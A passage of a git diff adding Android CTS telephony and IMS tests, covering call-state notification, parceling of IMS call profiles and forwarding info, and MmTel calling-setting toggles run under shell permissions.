-import android.os.telephony.TelephonyRegistryManager;
+import android.telephony.PhoneStateListener;
+import android.telephony.TelephonyManager;
+import android.telephony.TelephonyRegistryManager;
+import android.text.TextUtils;
+import android.util.Pair;
+
import androidx.test.InstrumentationRegistry;
+
+import com.android.compatibility.common.util.ShellIdentityUtils;
+
import org.junit.Before;
import org.junit.Test;
+import java.util.concurrent.LinkedBlockingQueue;
+import java.util.concurrent.TimeUnit;
+
/**
* Test TelephonyRegistryManagerTest APIs.
*/
public class TelephonyRegistryManagerTest {
private TelephonyRegistryManager mTelephonyRegistryMgr;
+ private static final long TIMEOUT_MILLIS = 1000;
@Before
public void setUp() throws Exception {
@@ -32,4 +47,32 @@
/* Expected */
}
}
+
+ @Test
+ public void testNotifyCallStateChangedForAllSubscriptions() throws Exception {
+ Context context = InstrumentationRegistry.getContext();
+
+ LinkedBlockingQueue<Pair<Integer, String>> queue = new LinkedBlockingQueue<>(1);
+ PhoneStateListener psl = new PhoneStateListener(context.getMainExecutor()) {
+ @Override
+ public void onCallStateChanged(int state, String number) {
+ queue.offer(Pair.create(state, number));
+ }
+ };
+ TelephonyManager tm = context.getSystemService(TelephonyManager.class);
+ tm.listen(psl, PhoneStateListener.LISTEN_CALL_STATE);
+ // clear the initial result from registering the listener.
+ queue.poll(TIMEOUT_MILLIS, TimeUnit.MILLISECONDS);
+
+ String dummyNumber = "288124";
+ ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(mTelephonyRegistryMgr,
+ (trm) -> trm.notifyCallStateChangedForAllSubscriptions(
+ TelephonyManager.CALL_STATE_IDLE, dummyNumber));
+
+ Pair<Integer, String> result = queue.poll(TIMEOUT_MILLIS, TimeUnit.MILLISECONDS);
+ assertNotNull("Timed out waiting for phone state change", result);
+ assertEquals(TelephonyManager.CALL_STATE_IDLE, result.first.longValue());
+ // This test doesn't have READ_CALL_LOG, so we expect the second arg to be empty.
+ assertTrue(TextUtils.isEmpty(result.second));
+ }
}
\ No newline at end of file
diff --git a/tests/tests/telephony/current/src/android/telephony/cts/TelephonyUtils.java b/tests/tests/telephony/current/src/android/telephony/cts/TelephonyUtils.java
index 008dbaa..2bd8bb8 100644
--- a/tests/tests/telephony/current/src/android/telephony/cts/TelephonyUtils.java
+++ b/tests/tests/telephony/current/src/android/telephony/cts/TelephonyUtils.java
@@ -26,7 +26,7 @@
import java.io.InputStreamReader;
import java.nio.charset.StandardCharsets;
-class TelephonyUtils {
+public class TelephonyUtils {
private static final String COMMAND_ADD_TEST_EMERGENCY_NUMBER =
"cmd phone emergency-number-test-mode -a ";
@@ -94,7 +94,4 @@
}
}
}
-
- private TelephonyUtils() {
- }
}
diff --git a/tests/tests/telephony/current/src/android/telephony/ims/cts/ImsCallForwardInfoTest.java b/tests/tests/telephony/current/src/android/telephony/ims/cts/ImsCallForwardInfoTest.java
new file mode 100644
index 0000000..ba1a13d
--- /dev/null
+++ b/tests/tests/telephony/current/src/android/telephony/ims/cts/ImsCallForwardInfoTest.java
@@ -0,0 +1,60 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.telephony.ims.cts;
+
+import static org.junit.Assert.assertEquals;
+
+import android.os.Parcel;
+import android.telephony.ims.ImsCallForwardInfo;
+
+import androidx.test.ext.junit.runners.AndroidJUnit4;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(AndroidJUnit4.class)
+public class ImsCallForwardInfoTest {
+
+ @Test
+ public void createParcelUnparcel() {
+ if (!ImsUtils.shouldTestImsService()) {
+ return;
+ }
+ int condition = 1; // ImsUtInterface#CDIV_CF_BUSY
+ int status = 1; //enabled
+ int toA = 0x91; // International
+ int serviceClass = 1; // CommandsInterface#SERVICE_CLASS_VOICE
+ String number = "5555551212";
+ int timeSeconds = 1; // no reply timer
+ ImsCallForwardInfo info = new ImsCallForwardInfo(condition, status, toA, serviceClass,
+ number, timeSeconds);
+
+ Parcel infoParceled = Parcel.obtain();
+ info.writeToParcel(infoParceled, 0);
+ infoParceled.setDataPosition(0);
+ ImsCallForwardInfo unparceledInfo =
+ ImsCallForwardInfo.CREATOR.createFromParcel(infoParceled);
+ infoParceled.recycle();
+
+ assertEquals(condition, unparceledInfo.getCondition());
+ assertEquals(status, unparceledInfo.getStatus());
+ assertEquals(toA, unparceledInfo.getToA());
+ assertEquals(serviceClass, unparceledInfo.getServiceClass());
+ assertEquals(number, unparceledInfo.getNumber());
+ assertEquals(timeSeconds, unparceledInfo.getTimeSeconds());
+ }
+}
diff --git a/tests/tests/telephony/current/src/android/telephony/ims/cts/ImsCallProfileTest.java b/tests/tests/telephony/current/src/android/telephony/ims/cts/ImsCallProfileTest.java
new file mode 100644
index 0000000..f526ed7
--- /dev/null
+++ b/tests/tests/telephony/current/src/android/telephony/ims/cts/ImsCallProfileTest.java
@@ -0,0 +1,270 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.telephony.ims.cts;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertTrue;
+
+import android.os.Bundle;
+import android.os.Parcel;
+import android.telecom.VideoProfile;
+import android.telephony.emergency.EmergencyNumber;
+import android.telephony.ims.ImsCallProfile;
+import android.telephony.ims.ImsStreamMediaProfile;
+
+import androidx.test.ext.junit.runners.AndroidJUnit4;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.ArrayList;
+import java.util.List;
+
+@RunWith(AndroidJUnit4.class)
+public class ImsCallProfileTest {
+
+ @Test
+ public void testParcelUnparcel() {
+ if (!ImsUtils.shouldTestImsService()) {
+ return;
+ }
+ Bundle testBundle = new Bundle();
+ testBundle.putString("testString", "testResult");
+ ImsStreamMediaProfile testProfile = new ImsStreamMediaProfile(1, 1, 1, 1, 1);
+ ImsCallProfile data = new ImsCallProfile(ImsCallProfile.SERVICE_TYPE_NORMAL,
+ ImsCallProfile.CALL_TYPE_VOICE_N_VIDEO, testBundle, testProfile);
+ data.setCallerNumberVerificationStatus(ImsCallProfile.VERIFICATION_STATUS_PASSED);
+ data.setEmergencyServiceCategories(EmergencyNumber.EMERGENCY_SERVICE_CATEGORY_POLICE
+ | EmergencyNumber.EMERGENCY_SERVICE_CATEGORY_AMBULANCE);
+ List<String> testUrns = new ArrayList<>();
+ testUrns.add("sos.ambulance");
+ data.setEmergencyUrns(testUrns);
+ data.setEmergencyCallRouting(EmergencyNumber.EMERGENCY_CALL_ROUTING_NORMAL);
+ data.setEmergencyCallTesting(true);
+ data.setHasKnownUserIntentEmergency(true);
+
+ Parcel dataParceled = Parcel.obtain();
+ data.writeToParcel(dataParceled, 0);
+ dataParceled.setDataPosition(0);
+ ImsCallProfile unparceledData =
+ ImsCallProfile.CREATOR.createFromParcel(dataParceled);
+ dataParceled.recycle();
+
+ assertEquals(data.getServiceType(), unparceledData.getServiceType());
+ assertEquals(data.getCallType(), unparceledData.getCallType());
+ assertEquals(data.getEmergencyServiceCategories(),
+ unparceledData.getEmergencyServiceCategories());
+ assertEquals(data.getEmergencyUrns(),
+ unparceledData.getEmergencyUrns());
+ assertEquals(EmergencyNumber.EMERGENCY_SERVICE_CATEGORY_POLICE
+ | EmergencyNumber.EMERGENCY_SERVICE_CATEGORY_AMBULANCE,
+ unparceledData.getEmergencyServiceCategories());
+ assertEquals(testUrns, unparceledData.getEmergencyUrns());
+ assertEquals(data.getEmergencyCallRouting(),
+ unparceledData.getEmergencyCallRouting());
+ assertEquals(EmergencyNumber.EMERGENCY_CALL_ROUTING_NORMAL,
+ unparceledData.getEmergencyCallRouting());
+ assertEquals(true, unparceledData.isEmergencyCallTesting());
+ assertEquals(true, unparceledData.hasKnownUserIntentEmergency());
+
+ //stream media profile parceling
+ ImsStreamMediaProfile resultProfile = unparceledData.getMediaProfile();
+ assertEquals(testProfile.getAudioDirection(), resultProfile.getAudioDirection());
+ assertEquals(testProfile.getAudioQuality(), resultProfile.getAudioQuality());
+ assertEquals(testProfile.getRttMode(), resultProfile.getRttMode());
+ assertEquals(testProfile.getVideoDirection(), resultProfile.getVideoDirection());
+ assertEquals(testProfile.getVideoQuality(), resultProfile.getVideoQuality());
+ // bundle
+ assertEquals(testBundle.getString("testString"), unparceledData.getCallExtra("testString"));
+ // number verification
+ assertEquals(ImsCallProfile.VERIFICATION_STATUS_PASSED,
+ unparceledData.getCallerNumberVerificationStatus());
+ }
+
+ @Test
+ public void testCallExtras() {
+ if (!ImsUtils.shouldTestImsService()) {
+ return;
+ }
+ ImsCallProfile data = new ImsCallProfile();
+ // check defaults
+ assertEquals("", data.getCallExtra("invalid"));
+ assertEquals(-1, data.getCallExtraInt("invalid"));
+ assertEquals(false, data.getCallExtraBoolean("invalid"));
+ // check returning defaults
+ assertEquals("abc", data.getCallExtra("invalid", "abc"));
+ assertEquals(2, data.getCallExtraInt("invalid", 2));
+ assertEquals(true, data.getCallExtraBoolean("invalid", true));
+ // insert/retrieve
+ data.setCallExtra("testData", "testResult");
+ assertEquals("testResult", data.getCallExtra("testData"));
+ data.setCallExtraInt("testData", 1);
+ assertEquals(1, data.getCallExtraInt("testData"));
+ data.setCallExtraBoolean("testData", true);
+ assertEquals(true, data.getCallExtraBoolean("testData"));
+ }
+
+ @Test
+ public void testUpdateCallType() {
+ if (!ImsUtils.shouldTestImsService()) {
+ return;
+ }
+ ImsCallProfile data = new ImsCallProfile(ImsCallProfile.SERVICE_TYPE_NORMAL,
+ ImsCallProfile.CALL_TYPE_VOICE);
+ ImsCallProfile data2 = new ImsCallProfile(ImsCallProfile.SERVICE_TYPE_NORMAL,
+ ImsCallProfile.CALL_TYPE_VOICE_N_VIDEO);
+ data.updateCallType(data2);
+ assertEquals(data.getCallType(), data2.getCallType());
+ }
+
+ @Test
+ public void testUpdateCallExtras() {
+ if (!ImsUtils.shouldTestImsService()) {
+ return;
+ }
+ ImsCallProfile data = new ImsCallProfile(ImsCallProfile.SERVICE_TYPE_NORMAL,
+ ImsCallProfile.CALL_TYPE_VOICE);
+ data.setCallExtra("testData", "testResult");
+ ImsCallProfile data2 = new ImsCallProfile(ImsCallProfile.SERVICE_TYPE_NORMAL,
+ ImsCallProfile.CALL_TYPE_VOICE_N_VIDEO);
+ data2.setCallExtra("testData2", "testResult2");
+ data.updateCallExtras(data2);
+ assertEquals("testResult2", data.getCallExtra("testData2"));
+ assertEquals("", data.getCallExtra("testData"));
+ }
+
+ @Test
+ public void testUpdateMediaProfile() {
+ if (!ImsUtils.shouldTestImsService()) {
+ return;
+ }
+ ImsCallProfile data = new ImsCallProfile(ImsCallProfile.SERVICE_TYPE_NORMAL,
+ ImsCallProfile.CALL_TYPE_VOICE);
+ ImsStreamMediaProfile profile2 = new ImsStreamMediaProfile(1, 1, 1, 1, 1);
+ ImsCallProfile data2 = new ImsCallProfile(ImsCallProfile.SERVICE_TYPE_NORMAL,
+ ImsCallProfile.CALL_TYPE_VOICE_N_VIDEO, new Bundle(), profile2);
+ data.updateMediaProfile(data2);
+
+ assertEquals(profile2.getAudioDirection(), data.getMediaProfile().getAudioDirection());
+ assertEquals(profile2.getAudioQuality(), data.getMediaProfile().getAudioQuality());
+ assertEquals(profile2.getRttMode(), data.getMediaProfile().getRttMode());
+ assertEquals(profile2.getVideoDirection(), data.getMediaProfile().getVideoDirection());
+ assertEquals(profile2.getVideoQuality(), data.getMediaProfile().getVideoQuality());
+ }
+
+ @Test
+ public void testGetVideoStatefromProfile() {
+ if (!ImsUtils.shouldTestImsService()) {
+ return;
+ }
+ ImsCallProfile profile = new ImsCallProfile(ImsCallProfile.SERVICE_TYPE_NORMAL,
+ ImsCallProfile.CALL_TYPE_VT);
+ int result = ImsCallProfile.getVideoStateFromImsCallProfile(profile);
+ assertTrue(VideoProfile.isVideo(result));
+ assertFalse(VideoProfile.isPaused(result));
+ }
+
+ @Test
+ public void testGetVideoStateFromCallType() {
+ if (!ImsUtils.shouldTestImsService()) {
+ return;
+ }
+ ImsCallProfile profile = new ImsCallProfile(ImsCallProfile.SERVICE_TYPE_NORMAL,
+ ImsCallProfile.CALL_TYPE_VOICE);
+ int result = ImsCallProfile.getVideoStateFromCallType(profile.getCallType());
+ assertTrue(VideoProfile.isAudioOnly(result));
+
+ profile = new ImsCallProfile(ImsCallProfile.SERVICE_TYPE_NORMAL,
+ ImsCallProfile.CALL_TYPE_VT_RX);
+ result = ImsCallProfile.getVideoStateFromCallType(profile.getCallType());
+ assertTrue(VideoProfile.isReceptionEnabled(result));
+
+ profile = new ImsCallProfile(ImsCallProfile.SERVICE_TYPE_NORMAL,
+ ImsCallProfile.CALL_TYPE_VT_TX);
+ result = ImsCallProfile.getVideoStateFromCallType(profile.getCallType());
+ assertTrue(VideoProfile.isTransmissionEnabled(result));
+
+ profile = new ImsCallProfile(ImsCallProfile.SERVICE_TYPE_NORMAL,
+ ImsCallProfile.CALL_TYPE_VT);
+ result = ImsCallProfile.getVideoStateFromCallType(profile.getCallType());
+ assertTrue(VideoProfile.isBidirectional(result));
+ }
+
+ @Test
+ public void testGetCallTypeFromVideoState() {
+ if (!ImsUtils.shouldTestImsService()) {
+ return;
+ }
+ VideoProfile videoProfile = new VideoProfile(VideoProfile.STATE_PAUSED);
+ assertEquals(ImsCallProfile.CALL_TYPE_VT_NODIR,
+ ImsCallProfile.getCallTypeFromVideoState(videoProfile.getVideoState()));
+
+ videoProfile = new VideoProfile(VideoProfile.STATE_TX_ENABLED);
+ assertEquals(ImsCallProfile.CALL_TYPE_VT_TX,
+ ImsCallProfile.getCallTypeFromVideoState(videoProfile.getVideoState()));
+
+ videoProfile = new VideoProfile(VideoProfile.STATE_RX_ENABLED);
+ assertEquals(ImsCallProfile.CALL_TYPE_VT_RX,
+ ImsCallProfile.getCallTypeFromVideoState(videoProfile.getVideoState()));
+
+ videoProfile = new VideoProfile(VideoProfile.STATE_RX_ENABLED
+ | VideoProfile.STATE_TX_ENABLED);
+ assertEquals(ImsCallProfile.CALL_TYPE_VT,
+ ImsCallProfile.getCallTypeFromVideoState(videoProfile.getVideoState()));
+ }
+
+ @Test
+ public void testIsVideoPaused() {
+ if (!ImsUtils.shouldTestImsService()) {
+ return;
+ }
+ ImsStreamMediaProfile testProfile = new ImsStreamMediaProfile(1, 1, 1,
+ ImsStreamMediaProfile.DIRECTION_INACTIVE, 1);
+ ImsCallProfile data = new ImsCallProfile(ImsCallProfile.SERVICE_TYPE_NORMAL,
+ ImsCallProfile.CALL_TYPE_VOICE_N_VIDEO, new Bundle(), testProfile);
+
+ assertTrue(data.isVideoPaused());
+
+ ImsStreamMediaProfile testProfile2 = new ImsStreamMediaProfile(1, 1, 1,
+ ImsStreamMediaProfile.DIRECTION_SEND_RECEIVE, 1);
+ ImsCallProfile data2 = new ImsCallProfile(ImsCallProfile.SERVICE_TYPE_NORMAL,
+ ImsCallProfile.CALL_TYPE_VOICE_N_VIDEO, new Bundle(), testProfile2);
+
+ data.updateMediaProfile(data2);
+
+ assertFalse(data.isVideoPaused());
+
+ }
+
+ @Test
+ public void testIsVideoCall() {
+ if (!ImsUtils.shouldTestImsService()) {
+ return;
+ }
+ ImsCallProfile data = new ImsCallProfile(ImsCallProfile.SERVICE_TYPE_NORMAL,
+ ImsCallProfile.CALL_TYPE_VT);
+
+ assertTrue(data.isVideoCall());
+
+ ImsCallProfile data2 = new ImsCallProfile(ImsCallProfile.SERVICE_TYPE_NORMAL,
+ ImsCallProfile.CALL_TYPE_VOICE);
+ data.updateCallType(data2);
+
+ assertFalse(data.isVideoCall());
+ }
+}
diff --git a/tests/tests/telephony/current/src/android/telephony/ims/cts/ImsExceptionTest.java b/tests/tests/telephony/current/src/android/telephony/ims/cts/ImsExceptionTest.java
new file mode 100644
index 0000000..4d16e8e
--- /dev/null
+++ b/tests/tests/telephony/current/src/android/telephony/ims/cts/ImsExceptionTest.java
@@ -0,0 +1,44 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.telephony.ims.cts;
+
+import static junit.framework.TestCase.assertEquals;
+
+import android.telephony.ims.ImsException;
+
+import androidx.test.ext.junit.runners.AndroidJUnit4;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(AndroidJUnit4.class)
+public class ImsExceptionTest {
+
+ @Test
+ public void testImsExceptionConstructors() {
+ if (!ImsUtils.shouldTestImsService()) {
+ return;
+ }
+
+ ImsException e = new ImsException("Test1");
+ assertEquals(ImsException.CODE_ERROR_UNSPECIFIED, e.getCode());
+ ImsException e2 = new ImsException("Test2", ImsException.CODE_ERROR_SERVICE_UNAVAILABLE);
+ assertEquals(ImsException.CODE_ERROR_SERVICE_UNAVAILABLE, e2.getCode());
+ ImsException e3 = new ImsException("Test3", ImsException.CODE_ERROR_UNSUPPORTED_OPERATION);
+ assertEquals(ImsException.CODE_ERROR_UNSUPPORTED_OPERATION, e3.getCode());
+ }
+}
diff --git a/tests/tests/telephony/current/src/android/telephony/ims/cts/ImsExternalCallStateTest.java b/tests/tests/telephony/current/src/android/telephony/ims/cts/ImsExternalCallStateTest.java
new file mode 100644
index 0000000..46099e3
--- /dev/null
+++ b/tests/tests/telephony/current/src/android/telephony/ims/cts/ImsExternalCallStateTest.java
@@ -0,0 +1,62 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.telephony.ims.cts;
+
+import static org.junit.Assert.assertEquals;
+
+import android.net.Uri;
+import android.os.Parcel;
+import android.telephony.ims.ImsCallProfile;
+import android.telephony.ims.ImsExternalCallState;
+
+import androidx.test.ext.junit.runners.AndroidJUnit4;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(AndroidJUnit4.class)
+public class ImsExternalCallStateTest {
+
+ @Test
+ public void parcelUnparcel() {
+ String callId = "1";
+ Uri address = Uri.fromParts("tel", "5551212", null);
+ Uri localAddress = Uri.fromParts("tel", "5551213", null);
+ boolean isPullable = false;
+ int callState = ImsExternalCallState.CALL_STATE_CONFIRMED;
+ int callType = ImsCallProfile.CALL_TYPE_VOICE;
+ boolean isHeld = false;
+ ImsExternalCallState testState = new ImsExternalCallState(callId, address, localAddress,
+ isPullable, callState, callType, isHeld);
+
+ Parcel infoParceled = Parcel.obtain();
+ testState.writeToParcel(infoParceled, 0);
+ infoParceled.setDataPosition(0);
+ ImsExternalCallState unparceledInfo =
+ ImsExternalCallState.CREATOR.createFromParcel(infoParceled);
+ infoParceled.recycle();
+
+ // Test that the string is parsed to an int correctly
+ assertEquals(1 /**callId*/, unparceledInfo.getCallId());
+ assertEquals(address, unparceledInfo.getAddress());
+ assertEquals(localAddress, unparceledInfo.getLocalAddress());
+ assertEquals(isPullable, unparceledInfo.isCallPullable());
+ assertEquals(callState, unparceledInfo.getCallState());
+ assertEquals(callType, unparceledInfo.getCallType());
+ assertEquals(isHeld, unparceledInfo.isCallHeld());
+ }
+}
diff --git a/tests/tests/telephony/current/src/android/telephony/ims/cts/ImsMmTelManagerTest.java b/tests/tests/telephony/current/src/android/telephony/ims/cts/ImsMmTelManagerTest.java
new file mode 100644
index 0000000..34a1f3d
--- /dev/null
+++ b/tests/tests/telephony/current/src/android/telephony/ims/cts/ImsMmTelManagerTest.java
@@ -0,0 +1,515 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.telephony.ims.cts;
+
+import static junit.framework.TestCase.assertEquals;
+
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.fail;
+
+import android.content.BroadcastReceiver;
+import android.content.Context;
+import android.content.Intent;
+import android.content.IntentFilter;
+import android.database.ContentObserver;
+import android.net.Uri;
+import android.os.Handler;
+import android.os.Looper;
+import android.os.PersistableBundle;
+import android.telephony.AccessNetworkConstants;
+import android.telephony.CarrierConfigManager;
+import android.telephony.SubscriptionManager;
+import android.telephony.ims.ImsException;
+import android.telephony.ims.ImsMmTelManager;
+import android.telephony.ims.feature.MmTelFeature;
+
+import androidx.test.ext.junit.runners.AndroidJUnit4;
+import androidx.test.platform.app.InstrumentationRegistry;
+
+import com.android.compatibility.common.util.ShellIdentityUtils;
+
+import org.junit.AfterClass;
+import org.junit.Before;
+import org.junit.BeforeClass;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.LinkedBlockingQueue;
+import java.util.concurrent.TimeUnit;
+
+@RunWith(AndroidJUnit4.class)
+public class ImsMmTelManagerTest {
+
+ // Copied from CarrierConfigManager, since these keys is inappropriately marked as @hide
+ private static final String KEY_CARRIER_VOLTE_OVERRIDE_WFC_PROVISIONING_BOOL =
+ "carrier_volte_override_wfc_provisioning_bool";
+ private static final String KEY_EDITABLE_WFC_MODE_BOOL = "editable_wfc_mode_bool";
+ private static final String KEY_USE_WFC_HOME_NETWORK_MODE_IN_ROAMING_NETWORK_BOOL =
+ "use_wfc_home_network_mode_in_roaming_network_bool";
+ private static final String KEY_EDITABLE_WFC_ROAMING_MODE_BOOL =
+ "editable_wfc_roaming_mode_bool";
+
+ private static int sTestSub = SubscriptionManager.INVALID_SUBSCRIPTION_ID;
+ private static Handler sHandler;
+ private static CarrierConfigReceiver sReceiver;
+
+ private static class CarrierConfigReceiver extends BroadcastReceiver {
+ private CountDownLatch mLatch = new CountDownLatch(1);
+ private final int mSubId;
+
+ CarrierConfigReceiver(int subId) {
+ mSubId = subId;
+ }
+
+ @Override
+ public void onReceive(Context context, Intent intent) {
+ if (CarrierConfigManager.ACTION_CARRIER_CONFIG_CHANGED.equals(intent.getAction())) {
+ int subId = intent.getIntExtra(CarrierConfigManager.EXTRA_SUBSCRIPTION_INDEX, -1);
+ if (mSubId == subId) {
+ mLatch.countDown();
+ }
+ }
+ }
+
+ void clearQueue() {
+ mLatch = new CountDownLatch(1);
+ }
+
+ void waitForCarrierConfigChanged() throws Exception {
+ mLatch.await(5000, TimeUnit.MILLISECONDS);
+ }
+ }
+
+ @BeforeClass
+ public static void beforeAllTests() {
+ if (!ImsUtils.shouldTestImsService()) {
+ return;
+ }
+
+ sTestSub = ImsUtils.getPreferredActiveSubId();
+
+ if (Looper.getMainLooper() == null) {
+ Looper.prepareMainLooper();
+ }
+ sHandler = new Handler(Looper.getMainLooper());
+
+ sReceiver = new CarrierConfigReceiver(sTestSub);
+ IntentFilter filter = new IntentFilter(CarrierConfigManager.ACTION_CARRIER_CONFIG_CHANGED);
+ // ACTION_CARRIER_CONFIG_CHANGED is sticky, so we will get a callback right away.
+ getContext().registerReceiver(sReceiver, filter);
+ }
+
+ @AfterClass
+ public static void afterAllTests() {
+ if (!ImsUtils.shouldTestImsService()) {
+ return;
+ }
+
+ if (sReceiver != null) {
+ getContext().unregisterReceiver(sReceiver);
+ sReceiver = null;
+ }
+ }
+
+ @Before
+ public void beforeTest() {
+ if (!ImsUtils.shouldTestImsService()) {
+ return;
+ }
+
+ if (!SubscriptionManager.isValidSubscriptionId(sTestSub)) {
+ fail("This test requires that there is a SIM in the device!");
+ }
+ }
+
+ /**
+ * Given the advanced calling setting is editable and not hidden
+ * (see {@link CarrierConfigManager#KEY_EDITABLE_ENHANCED_4G_LTE_BOOL}, and
+ * {@link CarrierConfigManager#KEY_HIDE_ENHANCED_4G_LTE_BOOL}), set the advanced
+ * calling setting and ensure the correct calling setting is returned. Also ensure the
+ * ContentObserver is triggered properly.
+ */
+ @Test
+ public void testAdvancedCallingSetting() throws Exception {
+ if (!ImsUtils.shouldTestImsService()) {
+ return;
+ }
+ // Ensure advanced calling setting is editable.
+ PersistableBundle bundle = new PersistableBundle();
+ bundle.putBoolean(CarrierConfigManager.KEY_EDITABLE_ENHANCED_4G_LTE_BOOL, true);
+ bundle.putBoolean(CarrierConfigManager.KEY_HIDE_ENHANCED_4G_LTE_BOOL, false);
+ overrideCarrierConfig(bundle);
+ // Register Observer
+ Uri callingUri = Uri.withAppendedPath(
+ SubscriptionManager.ADVANCED_CALLING_ENABLED_CONTENT_URI, "" + sTestSub);
+ CountDownLatch contentObservedLatch = new CountDownLatch(1);
+ ContentObserver observer = createObserver(callingUri, contentObservedLatch);
+
+ ImsMmTelManager mMmTelManager = ImsMmTelManager.createForSubscriptionId(sTestSub);
+ boolean isEnabled = ShellIdentityUtils.invokeMethodWithShellPermissions(mMmTelManager,
+ ImsMmTelManager::isAdvancedCallingSettingEnabled);
+ ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(mMmTelManager,
+ (m) -> m.setAdvancedCallingSettingEnabled(!isEnabled));
+
+ waitForLatch(contentObservedLatch, observer);
+ boolean isEnabledResult = ShellIdentityUtils.invokeMethodWithShellPermissions(mMmTelManager,
+ ImsMmTelManager::isAdvancedCallingSettingEnabled);
+ assertEquals("isAdvancedCallingSettingEnabled does not reflect the new value set by "
+ + "setAdvancedCallingSettingEnabled", !isEnabled, isEnabledResult);
+
+ // Set back to default
+ ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(mMmTelManager,
+ (m) -> m.setAdvancedCallingSettingEnabled(isEnabled));
+ // restore original carrier config.
+ overrideCarrierConfig(null);
+ }
+
+ /**
+ * Set the VT setting and ensure it is queried successfully. Also ensure the ContentObserver
+ * is triggered properly.
+ */
+ @Test
+ public void testVtSetting() throws Exception {
+ if (!ImsUtils.shouldTestImsService()) {
+ return;
+ }
+
+ // Register Observer
+ Uri callingUri = Uri.withAppendedPath(
+ SubscriptionManager.VT_ENABLED_CONTENT_URI, "" + sTestSub);
+ CountDownLatch contentObservedLatch = new CountDownLatch(1);
+ ContentObserver observer = createObserver(callingUri, contentObservedLatch);
+
+ ImsMmTelManager mMmTelManager = ImsMmTelManager.createForSubscriptionId(sTestSub);
+ boolean isEnabled = ShellIdentityUtils.invokeMethodWithShellPermissions(mMmTelManager,
+ ImsMmTelManager::isVtSettingEnabled);
+ ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(mMmTelManager,
+ (m) -> m.setVtSettingEnabled(!isEnabled));
+
+ waitForLatch(contentObservedLatch, observer);
+ boolean isEnabledResult = ShellIdentityUtils.invokeMethodWithShellPermissions(mMmTelManager,
+ ImsMmTelManager::isVtSettingEnabled);
+ assertEquals("isVtSettingEnabled does not match the value set by setVtSettingEnabled",
+ !isEnabled, isEnabledResult);
+
+ // Set back to default
+ ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(mMmTelManager,
+ (m) -> m.setVtSettingEnabled(isEnabled));
+ }
+
+ /**
+ * Set the VoWiFi setting and ensure it is queried successfully. Also ensure the ContentObserver
+ * is triggered properly.
+ */
+ @Test
+ public void testVoWiFiSetting() throws Exception {
+ if (!ImsUtils.shouldTestImsService()) {
+ return;
+ }
+
+ PersistableBundle bundle = new PersistableBundle();
+ // Do not worry about provisioning for this test
+ bundle.putBoolean(KEY_CARRIER_VOLTE_OVERRIDE_WFC_PROVISIONING_BOOL, false);
+ bundle.putBoolean(CarrierConfigManager.KEY_CARRIER_VOLTE_PROVISIONING_REQUIRED_BOOL, false);
+ overrideCarrierConfig(bundle);
+ // Register Observer
+ Uri callingUri = Uri.withAppendedPath(
+ SubscriptionManager.WFC_ENABLED_CONTENT_URI, "" + sTestSub);
+ CountDownLatch contentObservedLatch = new CountDownLatch(1);
+ ContentObserver observer = createObserver(callingUri, contentObservedLatch);
+
+ ImsMmTelManager mMmTelManager = ImsMmTelManager.createForSubscriptionId(sTestSub);
+
+ boolean isEnabled = ShellIdentityUtils.invokeMethodWithShellPermissions(mMmTelManager,
+ ImsMmTelManager::isVoWiFiSettingEnabled);
+ ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(mMmTelManager,
